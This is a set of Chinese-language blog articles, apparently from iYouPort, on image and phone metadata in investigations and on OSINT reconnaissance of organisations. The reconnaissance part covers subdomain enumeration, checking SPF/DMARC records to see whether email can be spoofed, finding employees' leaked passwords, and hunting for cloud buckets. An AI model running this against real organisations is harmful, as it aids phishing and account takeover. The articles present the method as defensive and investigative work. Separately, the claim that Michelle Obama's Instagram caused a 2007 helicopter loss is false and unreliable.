提供的数据揭示了 Spitz 的行为，当他走在街上或当他在火车上时，以及他在私人时间里的所在位置。Spitz 的电信公司只通过了一部分信息，比如他打电话或发短信使用的电话号码，或者联系他的人的号码。这样就不仅可以轻松识别 Spitz 的社会和政治圈子，而且可以揭示关于他的更多内容：揭示与他有联系的人的个人身份信息。Kreil 和 Spitz 没有被授予访问这些信息的权限，但电信公司确实可以访问它，这意味着政府当局也可以访问所有这些信息。

Kreil 还利用公开信息，如 Spitz 的在线行为，在社交网站上公布的约会、以及他的推文来证实电信公司提供的部分数据。通过结合所有这些数据，Kreil 就完全可以进一步查明 Spitz 的行踪，最终提供了对 Spitz 私人生活和政治活动的全面分析。事实上这就是 **OSINT** 的思路。

Kreil 希望展示的是：元数据如何用于不仅跟踪个人的一举一动，而且还可以暴露一个人的整个社会和政治网络。

「图」

「图」

图片来自 Tell-all Telephone

不仅仅是曝光的显而易见

伊利诺伊州共和党众议员亚伦·肖克（Aaron Schock）被称为“最上镜”的国会议员，部分原因在于他的 Instagram 帐号，照片显示他在异国情调的地方以古怪和滑稽的姿势出现。他张贴了自己跳进雪堤、沙滩，还有各种私人飞机的照片。

他的照片所引起的公众注意引发了一系列的问题。美联社（AP）开始调查从 Schock 发布的照片中提取的地理定位数据，并在 Instagram 帐户中标记了他的位置，然后将其与他为竞选费用中安排的旅行费用进行了比较。

美联社分析了他的旅行费用、航班记录、以及从他的 Instagram 账户中提取的数据，发现，纳税人的钱和竞选资金已被用于私人航班。

这不仅是 Schock 自己的 Instagram 所揭示的。一个前 Schock 实习生的帐户也显示了凯蒂佩里音乐会的图像，文字是“当你的老板邀请你时，不能拒绝”，以及支付给售票服务 StubHub.cm 的1,928美元发票，被列为了“筹款活动”。美联社于2月24日公布了调查结果。以下是我们曾经演示过的同类调查案例：

「图」

「图」

Aaron Schock 的 Instagram 帐户图片（该账户目前已关闭）

在大多数情况下，有必要使用各种软件、工具和资源来理解提取的元数据，并提取有意义的信息。使用元数据的这些创造性调查技术的一个很好的例子就是我们曾经演示过的（详见《如何用开源调查追踪腐败》）：普京的发言人 Dmitry Peskov 的案例。Peskov 被问及他作为国家官员的收入，当时他被发现戴着18克拉的 Richard mille 手表，价值近 40 万英镑。这块手表戴在他的手腕上，可以在他的婚礼照片上看到。在随后的争议中，Peskov 表示这款手表是他新婚妻子送的礼物，但是，后来这个谎言被他女儿的 Instagram 帐户揭穿了，他的女儿在婚礼前几个月张贴的照片显示了 Peskov 戴着同样的手表。

「图」

「图」

Peskov 在他的婚礼上的照片和婚礼前几个月的照片，都戴着那块手表：Richard Mille RM 52–01

上面的链接是我们演示的关于“马耳他猎鹰”号豪华游艇的开源调查，进一步揭露了 Peskov 的腐败。希望能被重新阅读，因为它能提供一个很好的思路关于开源调查在线追踪的技巧。

关于调查，很多注意力都集中在可以从图像或通信中提取的元数据上。但是，文本文件对于调查同样有用，甚至能与图像构成相同的作用。

元数据非常需要被保护

元数据是一把双刃剑：它对于调查社会公正和腐败案件非常有用，但它也被用于 troll 和 doxx 等常见攻击手段，人权维护者、女性、记者和 LGBTIQ 个人在社交媒体上的发声都是这类攻击的主要目标。

智能手机在全球抗议活动和抗议动员中的使用量已经明显增加，也因此扩大了在特定时间内共享一个位置[或下落]的风险，并且可以通过使用所发布图像的移动电话跟踪来确定一个人的身份。图像中可用的地理位置数据可被用于跟踪任何人和任何东西，包括濒危物种。在南非保护区，管理人员建议游客不要透露被发现的动物的下落，并关闭手机和社交媒体平台上的地理标记功能，因为偷猎者和猎人正在使用在线发布的这些信息来查找动物。

「图」

「图」

图片由 Eleni de Wet 在南非拍摄，2012年5月4日

元数据：**Vice** 和逃亡者

这是一个著名案例。2012 年，百万富翁和有争议的计算机程序员和开发人员 McAfee Virus Protection 的创始人 John McAfee 就被基于在媒体公司 Vice 发布的照片上的元数据而被捕。当时 Vice 的记者获得了 McAfee 的独家访问权。

Vice 不仅发布了照片，还通过报告他们与 McAfee 共度的时光来吹嘘他们的独家新闻。当图像被发布时，其元数据显示了照片被拍摄的位置以及 Vice 发布信息的时间，以及他们看到 McAfee 的时间，由此，确定 McAfee 的行踪非常简单。虽然图像最有可能是从将 McAfee 带到伯利兹的人员发送到 Vice 以便稍后上传到他们网站上的，但它仍然保留了 McAfee 所在地的元数据。 这里是关于此次事件的官方声明。

「图」

「图」

图片来自 Robert King，摘自 2012年12月3日在 Vice 上发表的文章

有人可能会认为，在高风险地区和行业经营并参与高风险活动的人会更加谨慎地演示自己的行踪，但米歇尔奥巴马或美国士兵在伊拉克的情况并非如此。

2007 年，伊拉克反叛者使用美国士兵在线共享图像暴露出的地理标记摧毁了几架美国 **AH-64** 阿帕奇直升机。罪魁祸首是米歇尔·奥巴马（**Michelle Obama**）的 **Instagram** 照片，照片显示了拍摄地点元数据，以及管理该帐户的人的具体位置。真的是无比的愚蠢。

「图」

「图」

图片取自米歇尔奥巴马的 Instagram

元数据可以并且已经被用于限制言论自由和恐吓任何人。

例如，它被用于 doxx—一种针对个人的政治观点或个人主张的攻击。它已被用于在线针对女性活动家、女性游戏开发者、人权活动家和记者等。

正确管理元数据对于具有高知名度的个人来说，尤其是使用社交媒体、以及参与政治活动、或以反对主流和现状的方式过上自己想要的生活的人来说，至关重要。手册“ Zen and the Technology of Tech for Work for You ”讨论了元数据的这一特定方面，其中包含了各种关于该主题的建议和资源。推荐阅读。

OpenDataCity 的一个项目还强调了元数据如何被用于将人们置于危险中，通常是在不知不觉中被置于危险之境地的。

“多年后，Balthasar Glättli（瑞士政治家）也希望对他的数据进行分析。最后，他不只是给我他的电话数据，还给了我瑞士数据保留所收集的所有其他信息。此外，Balthasar 还有一些问题，因为他也是国防委员会的委员，他的元数据暴露了他访问过的秘密藏身之处的位置。这是绝密信息，但他的电话提供商收集了 Balthasar 的位置，并通过发布这些数据，一些记者找到了藏身处并揭露了它。删除这些数据为时已晚。“

元数据也成为了知识产权讨论的焦点，特别是对艺术家而言。

一些网站，例如 Facebook，剥离元数据以最小化文件的大小（元数据占用文件空间）这是支持保护作品知识产权的人的主要争论点。例如，许多摄影师需要将元数据保存在他们的照片中，特别是在这个大规模在线共享的时代，在此，元数据能保证艺术家的信用。另一方面，Flickr 保留并共享元数据，虽然用户可以停用此功能，但许多人完全不知道它的存在。

工具

可以使用各种工具从文件和图像中删除元数据，并且总是可以选择通过调整设置来避免元数据的暴露。但是为了最小化风险，需要建议人们总是仔细检查被共享的元数据（"使用 Expose" 部分中推荐的工具），然后去除那里被留下的任何数据。

相关工具：Phil Harvey 的 ExifTool / Metanull / TrashEXIF /以及其他包含元数据编辑功能的软件。

校验

元数据还可用于通过“证明”特定事件发生的真正时间和地点来验证信息和证据。我们介绍过这些简单的方法《虚假消息鉴别工具箱》。

近年来，随着社交媒体视频和图像的病毒式传播，验证已被证明是政治参与的关键，不仅仅是作为证明某些事情发生的真正时间和地点的工具，而且还反驳了虚假视频的传播和那些诋毁社会正义运动的图像。大赦国际的 Christoph Koettl 曾经解释过元数据如何帮助核实尼日利亚军队参与的法外杀戮行为。

CameraV 的前技术主管 Harlo Holmes 以及 CameraV 的工具评论中更详细地探讨了这一点，CameraV 是一款移动应用程序，可让用户验证照片和视频，以便能够用作在法庭上的其他证据的一部分。详见下面文章中的介绍：

- 延伸阅读：《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 更多工具：《公民取证技巧：如何留住真相？》

CameraV 作为 InformaCam 的移动应用程序由卫报项目和 WITNESS 创建。这是一种向照片或视频添加大量额外元数据以验证其真实性的方法。这是一个能做两件事的软件。首先，它描述了图像和视频的人物、内容、时间、地点、原因和方式；其次，它建立了一个可以在法庭上呈交的证据链。该应用程序在拍摄图像时捕获大量元数据，不仅包括地理位置信息（一直是标准信息），还包括 WiFi 网络，手机信号塔 ID 和来自该区域其他人的蓝牙信号等确认数据。它还有其他信息，例如测光表值，可用于证实一件事发生的具体时间。

然后，所有这些数据都由一个密钥加密签名，该密钥只有您的设备能够生成，加密到您选择的可信任目的地，并通过代理发送到由诸如 Global Leaks 等多个地方托管的安全存储库，甚至 Google 云端硬盘。一旦接收到，图像中包含的数据可以通过多种指纹识别技术进行验证，因此提交者（如果他们想要保持其匿名的话）仍然是接收者唯一可识别的。一旦被接收者摄取，所有这些信息就可以是可索引的和可搜索的。“

这就需要所说关于伪造和插入元数据的问题。以 CameraV 为例，Harlo Holmes 谈到了这个问题，并提出了一个关于所用设备可信度的重要观点：

“从技术上讲，这些东西很难手工锻造。如果有人拿走了元数据包并更改了几个参数或数据点—他们最终发送给我们就是欺骗我们不会用

PGP 验证，并且 App 的每个实例都有自己的签名密钥。也就是说，我确实意识到设备必需值得信赖。这是 CameraV 之外的一个问题：任何使用元数据并将其嵌入到照片或视频中的应用程序都必须是值得信赖的。“

Holmes 通过解释这个问题阐述了这种信任的重要性。

“CameraV 中的验证与 PGP 的验证方式相同。CameraV 可以轻松地从 App 导出您的公钥。如果你把这个钥匙交给某人，当他们和你在一起时通过比较指纹，那么你会更信任那个人。如果组织希望在数据收集活动中认真有效地使用 App，那么某种基于人的适职是必要的。“

用于验证目的的另一个有用工具是 eyeWitness，一种允许用户通过其移动相机 App 捕获照片或视频的工具“，其中嵌入的元数据显示图像的拍摄地点和时间，并验证图像未被更改。图像和附带的验证数据被加密并存储在 App 内的安全库中。然后，用户将此信息直接从 App 提交到 eyeWitness 组织维护的存储数据库，从而创建可信赖的监管链。eyeWitness 存储数据库用作虚拟证据锁定器，保护原始的加密镜头以备将来的法律诉讼。“

除此之外，eyeWitness 团队还包括一个专家法律团队，他们将分析收到的图像并确定适当的权限，包括国际、地区或国家法院，以便进一步调查。在某些情况下，eyeWitness 会引起媒体或其他倡导组织的注意，以促使采取国际行动。

工具

可以使用多种工具和变通方法来验证文件和图像中的元数据; 专家和爱好者不断提出验证信息的新方法。同样重要的是要注意，验证并不总是仅仅通过使用应用程序来完成，但在某些情况下可能需要与其他来源交叉引用数据并采用创造性的调查方法。下篇中具体介绍……

其他相关工具：CameraV / eyeWitness ■

——未完待续—— 广告

原文

无需"打入内部"也能挖掘信息：OSINT 方法推介 - 技术、自动化和可视化 - iYouPort

开源情报-每个人都可用的武器

社交工程、道德黑客、开源情报和信息验证，这些门类在大多数情况下是相通的，它们都需要充分的数据收集、使用的是近似的技术和思考方式，广泛应用于公民社会、调查记者、威胁防御等各种重要领域。本文继续专注于开源情报 #OSINT 收集，重在演示思路，并推荐工具（今后还有更多专门推荐创新工具的文章）希望这些内容能帮助中国的独立调查更加专业，效率更高。

在我的整个职业生涯中，我对从基本公开记录中学到的关于组织的知识的迷恋从未改变。大量小片段信息的聚合有时可以描绘出令人惊讶的完整图像。然后再用一些小的逻辑跳跃和推断来填补一些漏洞。

这一直让我很感兴趣，因为我想知道，一个局外人在不用触及基础设施或内部人士的情况下可以了解到什么。现在，我经常希望利用这种数据来获取一系列内部知识，我可以将其作为 #社交工程 的基础，一旦进入网络，就能更好地理解我所在的网络。

需要考虑的数据点有很多，但本文将重点关注网络目标（例如 IP 地址、域名和系统），同时轻微触及人员信息的收集（例如电子邮件地址、姓名、职称）。这是在准备一个新项目时首先要知道的，然后使用收集到的数据来决定你的下一步动作。

管理所有这些数据的关键是自动化。初始阶段的自动化能够让手动研究更加简单，更容易组织。最后，“第4阶段”将讨论自动化和报告。让我们先来看看我们要找些什么。

阶段1：映射网络

首先，你要选择一个目标。虽然在网上可能很难找到目标，但大多数组织都会有一个名称和至少一个用于电子邮件的“主要”域名，因此名

称和域名是一个很好的起点。入门所需的基本信息是名称（例如暴雪娱乐公司）和至少一个域名（例如 blizzard.com）。

Full Contact 营销数据库和 API 是一个很好的起点。它可以基于名称和域名提供有关组织的基本信息。Full Contact 跟踪“关键人物”（例如高管）、社交媒体档案、大致员工人数等等。这些细节很好，因为在收集数据之前我们必须知道一些公司的背景资料。这也可以从公司的 LinkedIn 资料等来源中找到。

域名

收集背景信息后，下一步就是域名和子域名。可以使用反向 **WHOIS** 查找发现其他域名。 WhoXY 为此提供可靠的服务，并提供反向 WHOIS API 接口，该接口接受公司名称和关键字以对 WHOIS 记录执行搜索。这些搜索可以返回数百个其他域名。

「图」

「图」

此时，最好先停下来并看看这些新域名。一些组织将购买其近似域名，以避免有人仿冒。这些域名保持“闲置”或仅将访问者重定向到主域名和公司网站。在其中选择一些看起来很有趣的域名，然后继续进行下一步的子域名搜寻。

请注意，如果域名是很常见的个人姓名，例如 Henry Dorsett，反向 WHOIS 查询可能会返回数百甚至数千个不相关的结果。出于这个原因，不要急于提前并盲目地把每个反向的 WHOIS 结果都加入选择。

此外，WhoXY 搜索仅返回完全匹配的内容。如果查询查找与“暴雪娱乐公司 (Blizzard Entertainment Inc)”相关的域名，则结果将不包括“暴雪娱乐公司 (Blizzard Entertainment, Inc)”或“暴雪娱乐公司 (Blizzard Entertainment Inc.)”附带的任何域名(后面有句点)。好消息是很多公司都会注册其主域名的近似域名，因此 WHOIS 记录中提取的名称一般都没什么问题。

子域名

有许多工具可用于执行子域名发现和暴力破解，例如 Aquatone 和 Sublist3r。暴力破解可以揭示可能永远不会被发现的子域名，但是您必须对付通配符 **DNS**，并且在这些早期阶段没有必要。 DNS Dumpster 和 Netcraft 可能会为目标域名提供大量已分类编目的子域

名。此外，从 crt.sh 或 censys.io 中提取的 TLS 证书通常会显示这些服务尚未发现或记录的其他新子域名。具体而言，可以从证书的备用名称中提取子域名。

例如，在 Censys 上搜索 “blizzard.com” 的证书会返回一个包含以下名称的证书：

「图」

「图」

Censys.io 将解析证书中的名称，并在 Web UI 和 API 中提供以易于摘要的列表提供它们。

证书往往产生最多的子域名，并且搜索它们的速度很快。但是，在 censys.io 上搜索“blizzard.com”这样的域名会产生一些不相关的结果，例如 iran-blizzard.com，即包含查询字符串的任何域名。像这样的域名可能与目标公司有关，但很可能这些结果中的许多都是无关的，只会污染数据集。

Censys 上不能搜索“.blizzard.com”或者使用正则表达式，但可以搜索特定字段。搜索 parsed.names: blizzard. com 会将结果限制为仅为“blizzard.com”子域名发布的证书。

此外，证书透明度日志可以提供更多信息，比如可以使用 Google 透明度报告工具搜索子域名：https://transparencyreport.google.com/https/certificates

DNS 记录和 IP 地址

现在我们得到了一个域名和子域名的列表，我们需要将这个列表解析为 IP 地址。这可以通过 Python 套接字（或使用 Go，Ruby 等）和检查 DNS 记录轻松完成。某些域名因某种原因无法被解析，这很好。退役的子域名和那些不固定的子域名仍然很有用，稍后还会有更多的介绍。

DNS 记录在不同方面都很有用。 A 记录提供 IP 地址，其他记录提供一些有趣的情况信息。同样，这个 DNS 解析也可以很容易地用 Python 和其他语言编写成脚本。对于手动检查， dnsstuff.com 可以很方便快捷地用于检查 DNS 记录和域名所有权。

DNS 记录：MX 和 TXT

DMARC 和 SPF 记录（或缺少记录）将有助于确定社会工程活动中是否可以使用电子邮件欺骗。许多组织者不设置 DMARC，或者经常使用弱 SPF 记录和/或弱 DMARC 策略（例如 p＝none）。这意味着该组织的电子邮件保护是失败的，没有任何措施来防止欺骗性电子邮件。这篇文章很好地介绍了这些电子邮件安全设置的一些缺陷。

> 几乎所有的邮件传输代理，包括 *Gmail* 和 *Microsoft Exchange Server* 所使用的那些，默认情况下都依赖于 *DMARC*，以指导如果邮件 *SPF* 或 *DKIM* 失败，应该采取什么行动。如果发送域名没有 *DMARC* 记录或策略为 *none*，则邮件服务器将无法打开并发送电子邮件。
>
> 这意味着如果某个域名没有 *SPF*，*DKIM* 和严格的 *DMARC* 记录，则可能会被欺骗。
>
> ——*Bishop Fox* 的 *Alex DeFreese*

DKIMValidator.com 是一个方便实用的用于分析 SPF 和 DKIM 记录的工具。如果电子邮件欺骗看上去是可能的，"dkimvalidator.com" 网站会显示电子邮件的 **SpamAssassin** 分数以及它是否通过了 **SPF** 检查。

> 作者注：这可能听起来像是一件小事，但如果没被重视就可能是一个严重的问题。有一次，我在与客户合作时，他们不得不应对恶劣的网络钓鱼事件。攻击者非常令人信服冒用他们的电子邮件地址欺骗员工和其他组织。对 *DMARC* 和 *SPF* 记录的这种简单检查帮助他们了解发生了什么。他们认为 *SPF* 和供应商提供的电子邮件安全解决方案在锁定方面存在欺骗行为，因此他们认为帐户遭到了入侵。但是，他们从未设置过 *DMARC* 记录。对于许多组织来说，欺骗是一件非常困难的事情，因为电子邮件安全性经常被误解，所以在市场营销、公关、自动提醒电子邮件和其他合法使用欺骗电子邮件的情形中，有许多例外。

此外，名称服务器可能容易受到 DNS 缓存侦听 (DNS cache snooping) 的攻击，MX 和 TXT 记录可能会泄露组织使用的服务（例如 Proofpoint，Survey Monkey）。这些都是老掉牙的伎俩，但仍然可以获得一些有趣的信息。

DNS 记录：CNAMES

这时也可以查找 DNS 记录中提到的内容交付网络（CDN）和云服务。这些记录将显示域名是否指向像用于 Web 托管的 S3 bucket 这样的资产。此外，一些子域名可用于域名前置（例如，一个已被删除的 S3 bucket 的悬空的 DNS 记录）。

如果这对你来说是个新想法，探索这个想法就是留给你的作业了。这是一个很好的入门资源。此外，flAWS.cloud 是学习检测和滥用许多常见 AWS 错误配置的绝佳资源，这些错误配置也可是其他云服务的（例如 Google，Azure）。

本文致力于对云服务提供商，存储和服务器的审核，并更详细地探讨上述一些主题：

最后，RDAP 和 Shodan 可以填补在所有这些IP地址和域名收集的信息中的一些空白。

RDAP 可以为每个 IP 地址提供一些有用的信息，例如所有者和网络块。知道一个属于亚马逊的 IP 地址本身并不是那么有趣，但知道目标 IP 地址的 65% 为亚马逊所有就说明他们很好地利用了亚马逊网络服务。它也可能表明该组织拥有哪些资产以及哪些资产是租赁/外部托管的。这也是一些逻辑上的跳跃和推断可以发挥作用的地方。

「图」

「图」

最后，同样重要的是，Shodan 可能会提供更多有关IP地址和域名的详细信息。 Shodan 可以提供主机名，操作系统，开放端口等信息，所有这些都不需要任何基础设施。 Shodan 还可以使用已发现的网络块和域名的关键字搜索显示其他主机和域名（例如 hostname:foo.bar 和 ip:1.1.1.0/24）。

经过所有这些步骤你会获得大量信息，任何人都难以以理智的方式进行整理。此时最好将此数据放在一边，直到报告阶段。

阶段 **2**：发现联系人

「图」

「图」

这一阶段涉及目标组织的人员。现在你可能已经知道了一些其他域名，搜索引擎（例如 Google，Yahoo，Bing）可用于搜寻与组织用于其业务的每个域名相关联的电子邮件地址。Email Hunter 的 API，顾名思义，也可用于查找域名的电子邮件地址。销售人员可以为潜在客户查找联系人和销售线索，但任何人都可以使用它并收集电子邮件地址。有时 Hunter 还提供姓名，职位和电话号码。

不只是电子邮件

电子邮件地址为网络钓鱼和密码扫描提供了机会，但可以更进一步。通过 Troy Hunt 的 HaveIBeenPwned 等服务检查电子邮件地址，或安全漏洞和被丢弃的私人密码数据库，员工可以与他们过去使用的服务对应上。

像目前为止收集的大多数数据一样，这些数据本身并不十分有趣。但是，它可以表明每个员工的在职时间（假设他们还没有离职），甚至可能揭示他们的工作以及组织内部使用的各种服务。当然，这也意味着他们的旧密码可能是可用的，并且可能重用于企业帐户。

另外，通过在剪切版网站上（例如 pastebin，ghostbin，slexy）对电子邮件地址进行搜索可以得到一些信息量很大的信息。HaveIBeenPwned 还有一个粘贴 API，用于快速搜索到发现这些电子邮件地址的剪切版。有些剪切版可能是死胡同，但并非总是如此，有时这些剪切版里包含密码，安全问题的答案和其他信息。这是情报数据的福音，但也是一个直接的发现，并且在报告中值得注意。

如果剪切版里的内容已经被删除了，则可以检查 Google 的网络缓存和 Wayback Machine 以获取缓存版本。

> 作者注：剪切版也可能包含没有被记录在 *HaveIBeenPwned* 里的电子邮件地址，例如 *Ashley Madison* 数据泄漏出的地址。这很有趣，因为这意味着电子邮件地址已用于非公司业务和帐户，但在报告里写入这些是有问题的。在向客户交付之前，请好好判断这些剪切版的内容。

社交媒体资料

在情报收集过程中，这是个很好的计划，可以通过社交媒体轻松实现。可能数十个或数百个社交媒体资料对早期的侦察来说有点多了。然而，从 LinkedIn 和 Twitter 发现一些电子邮件地址并不难。这些可

以被从搜索引擎的结果中删除，使用许多与电子邮件地址相同的技巧。

一些基本的谷歌搜索，如 site:linkedin.com COMPANY 可以找到 LinkedIn 个人资料，其中可能还包含电子邮件地址，职位和有趣的信息（例如“我管理公司部署的 Cylance Protect” 或“我是 Splunk 管理员”）。这不是一门精确的科学，搜索会遇到死胡同（即查到的资料是已经离职的人的简历信息），但它可以帮助收集一些名字和信息，以帮助您入门。此外，Email Hunter 也将返回 LinkedIn 个人资料链接。

Twitter handles 也可以是一个很好的情报来源，Twitter API 可以帮助验证资料。就像 LinkedIn 个人资料和电子邮件地址一样，这些 handles 会返回 twitter.com 的搜索结果。

首先，收集一些潜在的 Twitter handles，然后使用 Twitter API 验证资料是否仍然存在，并收集粉丝数，位置，简介和真实姓名等信息。虽然这些数据大部分是由用户提供的，可能是缺失、不完整或不真实的，但它确实可以作为以后更认真的搜索的良好起点。如果这能返回少量真实帐户，一些基本的链接分析可能会在以后披露更多帐户。

关于社交媒体的一个注记

社交媒体最好先留着的一个原因是它需要一些思考和仔细的分析。在搜索真实的人时，如果他们有活跃的账户，确定某人的身份以及他们的兴趣并不太难。虽然并非总是如此，但他们的真实自我往往反映在社交媒体上。

然而，你找到的也有可能是专业运营的公众帐号，或者可能是一个完全捏造的身份。社交媒体资料无法反映帐户背后的人或人们，因此无法以表面价值获取信息。

一位 CEO 的 Twitter 和 LinkedIn 帐号可能是由专人运营的，这使得你很难了解背后的人。你的分析可能只是对这位 CEO 的帐号运营者的分析。

有时去除一个或两个步骤比更高价值目标更好。它们更容易被访问，不太可能被仔细监控，并且可以提供更方便的访问高价值目标的方式。

阶段 **3**：云

到目前为止，我们已经选择了大多数 OSINT 的成果，但还需要一些基本的搜索来完善现有数据。

挖掘文件

许多公司网站的域名里都有大量文件。这些文件可能已累积多年，包括从Office文档到PDF和其他各种文件的所有内容。基本的 Google 搜索，例如 site:company.com filetype:pdf 将会显示它们。可以自动下载和解析这些文档以获取元数据，元数据可能包括软件信息（例如 Office 2013）或用户名。

如果有人对网站的网络根目录不小心，那么获取其他文件扩展名（如.key 或.cert）以获取更多敏感文件并不是闻所未闻。也有可能有人上传了针对少数受众的文档而没有意识到任何人都可以下载它们。如果搜索引擎将它们编入索引，则可以找到它们。

寻找 **Buckets**

说到不适合上传的文件，Amazon S3 Bucket 已经因此而臭名昭着。Bucket 搜寻现在很热门，但不要忽视 Digital Ocean 的 “Spaces”。Digital Ocean 推出了类似于 S3 的自己的服务，称之为 Spaces。方便的是，Digital Ocean 在设计新服务时遵循了 S3 Bucket 的行业标准。换句话说，Spaces 的运行方式与 Bucket 完全相同，如果它们指向 Digital Ocean，那么用于挖掘 Bucket 的工具将适用于 Spaces。

Bucket 的存在可以通过Web请求来检查。向 Amazon 或 Digital Ocean 发出 Web 请求（例如 https://fubar.s3.amazonaws.com/ 或 https://fubar.nyc3.digitaloceanspaces.com/ ），该服务返回一些 XML，指示 Bucket 是否存在。如果存在，XML 将指示是否可以公开访问任何数据。就是这样了。寻找这些仅仅是使用一个单词列表来创建新的 Web 请求。

注意：Web 请求适用于 spaces，但可能会遗漏一些 S3 buckets。最好使用 Amazon 的 awscli 或 boto/boto3 Python 库（使用 awscli）来检查 Bucket。这些工具使用亚马逊帐户进行身份验证，某些 Bucket 可能会拒绝从浏览器进行匿名访问，同时允许“经过身份验证的用户”查看其中的某些内容。

由于目标是针对特定组织，因此词汇表应与公司相关。至少要包括公司的名称，他们使用的任何缩略语或缩写，他们可能拥有的替代名称，子公司以及他们的纳斯达克上市（如果有）。

如果公司使用与其业务相关的其他术语，则可以而且应该扩展该词表。例如，暴雪娱乐以用数字命名团队而闻名（例如第1组，第2组，第3组）。每个号码与其中一个游戏相关联。他们还喜欢使用他们的魔兽和星际争霸故事里名字。如果目标是暴雪，那么将 team1，team2，arthas，townportal 和其他暴雪相关术语添加到列表中是有意义的。

「图」

「图」

Nuclear Launch Detected: Improve wordlists for better targeting and a higher chance of finding something interesting. 检测到核发射：改进单词列表以获得更好的目标并更有可能找到有趣的东西。

Bucket 名称必须是全局唯一的，因此最好使用关键字的不同变体。一个简单的选择是使用各种前缀和后缀，或“缀”。一些常见的缀是 qa，doc，legacy，uat 和 bak。可以将这些添加到关键字的开头和结尾，以检查 Bucket 名称的常见变体。例如，“tychus”和一些缀相结合，创建了几个新的关键词，如 “qa-tychus” 和“ tychuslegacy”。

值得注意的是，除了连字符之外，Bucket 名称还可以包含句点，因此即使“blizzard.com”也是有效的 Bucket 名称。实际上，托管在 S3 Bucket 中的资源或网页的 Bucket 名称将解析为 hearthstone.blizzard.com.s3.amazonaws.com。

此外，一些公司可能会添加垃圾 Bucket 名称以使其更难发现，例如 tychus-79a9ba8b089e4c022c32b964cacf6b13f2aa6d9a（tychus 的 shasum）。它们不是不可发现的，但肯定更困难，如果对目标进行更密集的搜寻，则需要在之后考虑。

这种词汇表方法旨在捕捉可能导致信息泄漏的成果。为了提供可以找到的内容的示例，此过程一旦确定了组织开发人员使用的“内部”git 存储库。Bucket 中充满了密码，公司源代码和其他敏感信息。它被公之于众，因为该公司错误地让“任何经过身份验证的 AWS 用户”可以访问它，这意味着他们是“经过身份验证的 AWS 用户”，而不是“任何 AWS 用户”。亚马逊改进了 Web 控制台用户界面以添加对于这种错误的警告，但它仍然会发生。

一旦单词列表和缀列表准备就绪，将它们揉合在一起并开始搜索。

阶段 4：报告和自动化流程

对于每个项目而言，所有这一切都非常繁琐。如果这是你的日常工作，你肯定不想重复这些繁琐的过程。人们已经解决了所有这一切的自动化问题。一些值得注意的工具是 Recon-ng 和 Discover Scripts。我在一个名为 ODIN 的工具中实现了上面所有内容的自动化：

「图」

「图」

重新造轮子？

当前的工具无法满足我的需求。我也没有/不想运行多个模块来获取所有数据或依赖于安装外部工具。 ODIN 的目标是，现在仍然是，创建一个可以用 Python 3 在 Windows，MacOS 和 Linux 上运行的工具。不仅如此，我还希望该工具能够自动进行基本分析。ODIN 实现了这一点，并使分析师能够把更多的精力放在数据上，同时减少他们的工作量。

ODIN 的报告和组织

ODIN 将它收集的所有数据存储在 SQLite3 数据库中，该数据库将保存以供以后分析。你也可以根据该数据构建多页 HTML 报告，以使浏览信息就像在 Web 浏览器中打开报告一样简单。这对于非正式的评审和参考很有用，但使用这些数据可视化可以打开你的眼界。

进入 **Neo4j**

「图」

「图」

A basic schema developed for drawing relationships between all of the various entities and assets discovered during this OSINT gathering process. 为在 OSINT 收集过程中发现的所有各种实体和资产之间的关系而开发的基本模式。

我为收集上述数据时可能遇到的外部资产开发了一个简单的 **Neo4j** 图数据库模式。一旦 ODIN 将 SQLite3 数据库转换为图形数据库，就可以创建外部边界的映射。这是一个非常基本的例子：

「图」

「图」

A graph of a small network branching off of one root domain

大多数节点类型都在此图中表示。对于此示例，ODIN 在小型实验室环境中运行，因此 IP 地址是内部地址，并且没有任何 Shodan 数据（即开放端口）。

您有一个组织（蓝色）绑定到域名（紫色）和该域名的子域名（绿色）。证书（红色）及其与域名和子域名的关系显示哪些节点共享证书。您还可以查看子域名解析的 IP 地址（黄色）。

大型组织的完整、未经过滤的图表可能非常密集，包括多对一关系，多个IP地址和多个域名。

补充分析

这些图表非常适合进行可视化分析并选择有趣的资产，但这并不是关于图表的全部。 Cypher 查询可以快速轻松地获取统计信息并创建表格。例如：MATCH (p:Port) RETURN DISTINCT p.Organization

上面的查询匹配 Shodan 的开放端口并返回组织列表。换句话说，它创建了一个显示组织的表格，例如 Cloudflare 或 Amazon.com，在数据库中。这是了解组织使用的网络提供商的快速方法。

此查询将映射网络，同时排除从未解析为 IP 地址的子域名：

MATCH (org:Organization)-[r1:OWNS]-」(dom:Domain)-[:RESOLVES_TO]-」(add:IP)

MATCH (sub:Subdomain)-[r2:SUBDOMAIN_OF|:RESOLVES_TO]-」(n)

MATCH (add)-[r3:HAS_PORT]-」(p:Port)

RETURN org,dom,sub,add,p,n,r1,r2,r3

此查询首先仅匹配具有:OWNS 和 :RESOLVES_TO 关系的组织，域名和 IP 节点。然后，它匹配具有 SUBDOMAIN_OF 或 :RESOLVES_TO 关系的任何节点的子域名。最后，它匹配与其中一个匹配的 IP 节点

具有 :HAS_PORT 关系的端口节点。

结论

上面详述的过程并不能搜集组织的全部信息。一旦您开始与非常大的组织或组织中的不同组织打交道，情报收集就会变得复杂。但是，你必须从某个地方开始，这个过程很有帮助。

收集的数据对攻击者有价值，我认为仅凭这一点对防御者来说就是有价值的。预先警告是预先准备的，也就是说，这些数据可以极大地帮助组织意识到自己的安全弱点。它可能是一个简单的胜利，在它发生问题之前就已经被发现了。

当然，OSINT 是一个有机过程，通常会超出此处详述的基本阶段。例如，在 GitHub 中搜索主机名，密码和秘密通常是值得的。目前，此处概述的流程将有助于揭示有关组织的更多信息，发现资产，并帮助指导未来和整个运营过程中的工作。

通过使用 ODIN 自动执行此过程，您可以在短短10分钟左右的时间内将名称和域名转换为更多内容。

ODIN 并行运行处理多个任务，因此不需要很长时间。如果它的能力引起了你的兴趣，那就试一试吧。该项目是开源的，可以反馈。我鼓励维护者利用 ODIN 或其他工具/手动分析来可视化他们的外部网络，以监控他们的资产，并密切关注他们的组织和员工可用的公共数据。

最后再关联我们前段时间的小汇总：《超级情报收集工具库》，今后还将有更多创新型的技术方法和工具推荐。一起来，挖真相。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮 广告

原文

最简单的方法专业搜索谷歌 - iyouport

开源情报-每个人都可用的武器

只需要记住这10个小技巧

我们曾经介绍过很多搜索谷歌的方法，尤其是 Google dorks，对开发者、公民调查和黑客非常重要。

